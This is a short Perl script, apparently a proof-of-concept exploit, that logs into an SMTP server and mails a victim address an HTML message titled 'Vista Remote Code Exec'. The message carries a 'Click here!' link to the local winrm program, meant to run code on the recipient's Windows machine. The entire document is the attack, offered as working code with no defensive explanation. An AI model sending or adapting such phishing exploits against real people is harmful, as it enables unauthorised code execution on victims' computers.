use Net::SMTP_auth;
$smtp = Net::SMTP_auth->new('smtp.1und1.de', Debug => 1);

$smtp->auth('PLAIN', 'username', 'password');
$smtp->mail("attacker\@attacker.com");
$smtp->to("victim\@victim.com");

$msg = "Subject: Vista Remote Code Exec\r\n"
."From: attacker\@attacker.com\r\n"
."To: victim\@victim.com\r\n"
."MIME-Version: 1.0\r\n"
."Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a>";
$smtp->data();
$smtp->datasend("$msg\n");
$smtp->dataend();
$smtp->quit;